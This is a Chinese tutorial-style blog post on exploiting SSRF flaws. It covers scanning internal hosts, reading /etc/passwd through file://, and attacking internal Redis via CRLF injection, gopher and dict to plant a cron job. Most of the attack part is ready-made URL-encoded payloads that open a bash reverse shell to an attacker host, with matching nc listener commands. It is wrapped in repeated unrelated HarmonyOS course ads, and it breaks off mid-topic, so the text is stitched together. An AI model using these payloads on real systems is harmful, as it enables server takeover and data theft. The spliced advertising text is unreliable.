先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新HarmonyOS鸿蒙全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上鸿蒙开发知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注鸿蒙)
正文
声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
滑至文末,获取“searchall”下载链接!
一、进行内网探测
利用http协议对内网进行探测,探测整个内网的存活ip,和端口,如果要针对redis,那么这一步主要是找开启了6379端口的内网ip地址。
可利用bp或者脚本进行快速探测,由于回显的不同,脚本就需要按照回显的特征来写,那种回显是存在,哪种回显是不存在这样的ip或端口。
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379
二、file协议读取文件
这个协议可以读取系统的一些存放密码的文件,比如说linux的/etc/passwd或者windows的C:/windows/win.ini 等,或者说ctf中的flag文件。
http://xxx.xxx.xx.xx/xx/xx.php?url=file:///etc/passwd
三、攻击redis
只要知道内网有开启6379的redis服务(或许是其他端口开放的此服务),那么就可以利用目标机进行攻击redis了。
第一步探测Redis我们已经完成了,那么第二步就是发送redis命令,将反弹shell脚本写入/etc/crontab中,crontab就是linux下的一个定时执行事件的一个程序。
还有两个定时服务文件是 /var/spool/cron/root 和 /var/spool/cron/crontabs/root 。针对这三个路径的不同,如下会进行讲解。
方法一:通过header CRLF 注入
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d
来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
redis命令如下:
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"config set dir /etc/
config set dbfilename crontabsave
``aaa
这里是采用的bash反弹,在ubuntu下不会反弹成功,CentOS可以反弹成功;路径采用的是/etc/crontab.
因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
payload1就为:
http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/``test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
然后在自己的公网机192.168.220.140上nc监听2333端口
nc -lvp 2333 (或nc -l 2333)
然后发送请求即可反弹shell了
方法二:通过【curl命令】和【gopher协议】远程攻击内网redis
gopher协议是比http协议更早出现的协议,现在已经不常用了,但是在SSRF漏洞利用中gopher可以说是万金油,因为可以使用gopher发送各种格式的请求包,这样就可以解决漏洞点不在GET参数的问题了。
gopher协议可配合linux下的curl命令伪造POST请求包发给内网主机。
此种方法能攻击成功的前提条件是:redis是以root权限运行的。
payload2如下:
curl -v ‘http://xxx.xxx.xx.xx/xx.php?url=gopher://172.21.0.2:6379/
_*1%250d%250a%248%250d%250aflushall%250d%250a%2a3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2464%250d%250a%250d%250a%250a%250a%2a%2f1%20%2a%20%2a%20%2a%20%2a%20bash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261%250a%250a%250a%250a%250a%250d%250a%250d%250a%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2fvar%2fspool%2fcron%2f%250d%250a%2a4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2a1%250d%250a%244%250d%250asave%250d%250aquit%250d%250a’
redis命令进行了两次url编码,这里是通过gopher协议伪造的请求包用curl命令来发送;
payload采用的是bash反弹,定时程序路径是/var/spool/cron/root
发送请求之前在公网机192.168.220.140开启nc监听端口2333
nc -lvp 2333 (或nc -l 2333)
方法三:使用dict协议向Redis数据库写shell
关于dict协议:
dict://serverip:port/命令:参数
向服务器的端口请求 命令:参数,并在末尾自动补上\r\n(CRLF),为漏洞利用增添了便利
如果服务端不支持gopher协议,可尝试dict协议,不过通过dict协议的话要一条一条的执行,而gopher协议执行一条命令就行了。
curl扩展也支持dict协议,可以配合curl命令发送请求,但也可以直接在浏览器上或者bp发包请求。
可通过以下三条命令看是否能利用dict:
/xx.php?url=dict://172.21.0.2:6379/info/xx.php?url=dict://172.21.0.2:6379/get:user
/xx.php?url=dict://172.21.0.2:6379/flushall
这样就代表可以成功执行命令。
1.先清除没用的数据,防止定时任务执行失败
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=flushall或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/flushall
2.利302跳转写入反弹命令
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26bhost=...%26bport=1234或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/bhost=...%26bport=1234
3.设置导出路径
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dir:/var/spool/cron/或
http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dir:/var/spool/cron/
4.设置导出名字http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=config:set:dbfilename:root
或http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/config:set:dbfilename:root
5.导出
http://xxx.xxx.xx.xx/xx.php?url=dict%26ip=172.21.0.2%26port=6379%26data=save
或``http://xxx.xxx.xx.xx/xx.php?url=dict://172.21.0.2:6379/save
使用burp发包,为了避免语句顺序执行错误,故第一个包先跑20个在跑第二个包以此类推,如果是批量内网ip存在6379端口,那么C段用通配符“*”表示。
在公网机上使用nc持续监听1234端口,等一会儿把包发完就会反弹shell。
Payload 完善修改
payload中出现ip、端口、反弹命令、定时程序路径这些都可以根据实际情况,目标机的系统版本进行更改。
如果目标机是CentOS系统:
bash和python反弹都支持``路径使用:/etc/crontab或者/var/spool/cron/root
如果是ubuntu系统:
支持python反弹``路径使用:/etc/crontab或者/var/spool/cron/crontabs/root
四、结合gopher协议实现进一步攻击
1.通过【curl命令】和【gopher协议】对有【SSRF漏洞】的网站远程伪造post请求反弹shell
在靶机上执行:bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
攻击机上执行:nc -lvp 2333
post请求为:
POST /test/ssrf/post.php HTTP/1.1Host: 192.168.220.139
User-Agent: curl/7.42.0Accept: */*
Content-Type: application/x-www-form-urlencoded
cmd=ccccc
bash -i >& /dev/tcp/192.168.220.140/2333 0>&1
将其进行url两次编码,然后结合gopher协议和curl命令,payload如下:
curl -v
‘http://xxx.xxx.xx.xx/xx.php?``url=gopher://172.21.0.2:80/_POST%20/test/ssrf/post.php%20HTTP/1.1%250d%250aHost:%20192.168.220.139%250d%250aUser-Agent:%20curl/7.42.0%250d%250aAccept:%20*/*%250d%250aContent-Type:%20application/x-www-form-urlencoded%250d%250a%250d%250acmd%3Dccccc%250d%250a%250d%250abash%20-i%20%3E%26%20%2fdev%2ftcp%2f192.168.220.140%2f2333%200%3E%261’
攻击机先运行nc命令,然后curl发送请求。
2.gopher攻击MySQL
如果内网中的mysql数据库存在无密码的用户,可结合gopher协议进行攻击。
3.gopher攻击fastcgi
php-fpm一般监听在127.0.0.1的9000端口上,当存在未授权访问漏洞时,利用 Gopher+SSRF 可以完美攻击 FastCGI 执行任意命令。
前提:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
FastCGI 执行任意命令。
前提:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注鸿蒙)
[外链图片转存中…(img-TbWBMgq3-1713155836780)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!